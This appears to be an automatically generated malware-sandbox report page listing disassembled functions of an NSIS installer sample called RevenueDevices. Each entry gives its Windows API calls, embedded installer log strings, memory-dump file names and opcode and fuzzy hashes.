Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNELBASE(007ADB60), ref: 00402387

Strings

Pop: stack empty, xrefs: 00401F2C
Exch: stack < %d elements, xrefs: 00401ED8
%NodeTransexual%, xrefs: 00401EFB, 00401F00, 00401F1A

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: %NodeTransexual%$Exch: stack < %d elements$Pop: stack empty
API String ID: 1459762280-4090470853
Opcode ID: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNELBASE(007ADB60), ref: 00402387

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
%NodeTransexual%, xrefs: 00402770
<RM>, xrefs: 00402713

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: %NodeTransexual%$<RM>$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-375107294
Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211
ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
